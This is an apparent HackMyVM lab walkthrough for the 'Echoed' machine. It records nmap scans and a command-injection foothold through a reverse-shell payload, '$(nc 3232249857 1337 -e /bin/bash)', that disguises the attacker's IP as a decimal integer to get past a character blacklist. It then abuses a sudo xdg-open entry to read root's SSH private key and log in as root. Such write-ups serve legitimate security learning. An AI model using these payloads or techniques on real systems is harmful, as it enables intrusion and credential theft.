HMV Echoed Walkthrough

2026-04-01 2026-04-01544 Words

This machine exposed a small nginx site, SSH, and a strange service on port 4444. The website itself turned out to be the key clue: instead of hiding the real bug, it told me to look for a Command: prompt on another port. Black-box probing of that service showed that it rejected a specific set of characters but still accepted a payload that executed nc and called back to my listener. Encoding my address as a decimal IPv4 integer avoided the banned dot character and gave me a shell as charlie. From there, a single sudoers entry for xdg-open let me recover /root/.ssh/id_rsa and log in directly as root.

Summary

Scope

  • Name: Echoed
  • Difficulty: (2/10)
  • OS: Linux
  • IP: echoed.hmv (192.168.56.115)

Learned

  • A blacklist around a command-oriented service does not remove the underlying injection risk; it only changes the payload shape.
  • Alternate IP encodings are useful whenever dots are filtered.

Enumeration

Nmap

Overall

# Nmap 7.98 scan initiated Wed Apr  1 16:05:46 2026 as: nmap -p- --min-rate 3000 -oN overall echoed.hmv
Nmap scan report for echoed.hmv (192.168.56.115)
Host is up (0.00010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
4444/tcp open  krb524
MAC Address: 08:00:27:E0:B1:BD (Oracle VirtualBox virtual NIC)

# Nmap done at Wed Apr  1 16:05:46 2026 -- 1 IP address (1 host up) scanned in 0.49 seconds

Detail

# Nmap 7.98 scan initiated Wed Apr  1 16:06:03 2026 as: nmap -sC -sV -O -vv -p22,80,4444 -oN detail echoed.hmv
Nmap scan report for echoed.hmv (192.168.56.115)
Host is up, received arp-response (0.00017s latency).
Scanned at 2026-04-01 16:06:03 CST for 177s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 de:3a:50:8e:5d:21:09:7e:40:3f:b2:07:bb:41:08:7e (RSA)
|   256 5c:57:56:da:e5:1c:3e:bc:9a:a2:8d:6d:21:4e:bc:f9 (ECDSA)
|   256 f8:aa:dc:d3:27:52:e3:99:32:98:45:5b:52:f0:bc:e1 (ED25519)
80/tcp   open  http    syn-ack ttl 64 nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
| http-methods:
|_  Supported Methods: GET HEAD
4444/tcp open  krb524? syn-ack ttl 64
| fingerprint-strings:
|   GetRequest:
|     Command:Found illegal char.Command:
|   NULL:
|_    Command:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4444-TCP:V=7.98%I=7%D=4/1%Time=69CCD1F1%P=x86_64-pc-linux-gnu%r(NUL
SF:L,8,"Command:")%r(GetRequest,23,"Command:Found\x20illegal\x20char\.Comm
SF:and:");
MAC Address: 08:00:27:E0:B1:BD (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 15.368 days (since Tue Mar 17 07:19:21 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr  1 16:09:00 2026 -- 1 IP address (1 host up) scanned in 177.74 seconds

UDPScan

# Nmap 7.98 scan initiated Wed Apr  1 16:06:19 2026 as: nmap -sU --top-port 32 -oN udpscan echoed.hmv
Nmap scan report for echoed.hmv (192.168.56.115)
Host is up (0.00019s latency).
Not shown: 31 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
MAC Address: 08:00:27:E0:B1:BD (Oracle VirtualBox virtual NIC)

# Nmap done at Wed Apr  1 16:06:52 2026 -- 1 IP address (1 host up) scanned in 33.74 seconds

Web

I started with the website on port 80. It was minimal, but the one line it returned was the most important clue on the box.

❯ curl http://echoed.hmv
If you dont see Command: prompt in the XXXX port, please restart the VM.

That message told me the real attack surface was not the web root itself but another service that exposed a Command: prompt. The nmap fingerprint on port 4444 matched that perfectly: a blank request got Command:, while a normal HTTP request triggered Found illegal char. At that stage I did not yet know the exact implementation, but it was already clear that port 4444 was taking user-controlled input, filtering some characters, and then doing something command-related with the result.

Foothold

From the outside, port 4444 behaved like a small command interface with a blacklist in front of it. With a simple testing I got this:

illgal char:
.?dgjklmopqrtuv

That immediately explained one practical constraint: I could not use a normal dotted IPv4 address in my callback because . was blocked. The working payload was:

$(nc 3232249857 1337 -e /bin/bash)

Using 3232249857 instead of 192.168.56.1 avoids the banned dot character while still pointing to the same host. Since this payload succeeded, the important conclusion from a black-box perspective is that the service was evaluating the input in a way that allowed command execution rather than treating it as inert text. That was enough to get the foothold:

charlie@echoed:~$ id
uid=1000(charlie) gid=1000(charlie) groups=1000(charlie),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

charlie@echoed:~$ ls -al
total 48
drwxr-xr-x 3 charlie charlie 4096 Apr  1 04:30 .
drwxr-xr-x 3 root    root    4096 Dec 16  2020 ..
-rw-r--r-- 1 charlie charlie  220 Dec 16  2020 .bash_logout
-rw-r--r-- 1 charlie charlie 3526 Dec 16  2020 .bashrc
-rwxr-xr-x 1 charlie charlie 1920 Dec 16  2020 flag.sh
-rwxr-xr-x 1 charlie charlie  910 Dec 17  2020 listener.py
drwxr-xr-x 3 charlie charlie 4096 Dec 16  2020 .local
-rw-r--r-- 1 charlie charlie  807 Dec 16  2020 .profile
-rw-r--r-- 1 charlie charlie   66 Dec 16  2020 .selected_editor
-rw-r--r-- 1 charlie charlie  163 Apr  1 04:30 typescript
-rw------- 1 charlie charlie   15 Dec 16  2020 user.txt
-rw------- 1 charlie charlie   52 Dec 16  2020 .Xauthority

After I already had access as charlie, I read listener.py and confirmed why the payload worked: the service built an echo command from my input and executed it through the shell, while checking input against the same blocked-character set I had inferred from probing.

Privilege Escalation

The first local check was sudo -l, and it immediately exposed the finishing move.

charlie@echoed:~$ sudo -l
Matching Defaults entries for charlie on echoed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charlie may run the following commands on echoed:
    (ALL : ALL) NOPASSWD: /usr/bin/xdg-open

xdg-open is a dangerous binary to expose through sudoers because its whole job is to hand a file off to another program. In practice, that makes it a root-owned file disclosure primitive. I pointed it at root's SSH private key:

charlie@echoed:~$ sudo /usr/bin/xdg-open /root/.ssh/id_rsa

I saved the exposed key as a local id_rsa file, corrected its permissions, and used it to SSH in as root.

❯ chmod 600 id_rsa
❯ ssh -i id_rsa [email protected]
Last login: Thu Dec 17 02:25:52 2020
root@echoed:~# id
uid=0(root) gid=0(root) groups=0(root)

Takeaways

  • The website was basically a signpost toward the vulnerable TCP service on port 4444.
  • Blacklists are fragile. They rarely remove all of the shell features needed for code execution.
  • Alternate notations such as integer IPv4 addresses are practical bypasses when input validation is written around character denial.

Footnotes:

1

3232249857 is the 32-bit integer representation of 192.168.56.1.


Creator: Emacs 31.0.50 (Org mode 10.0-pre)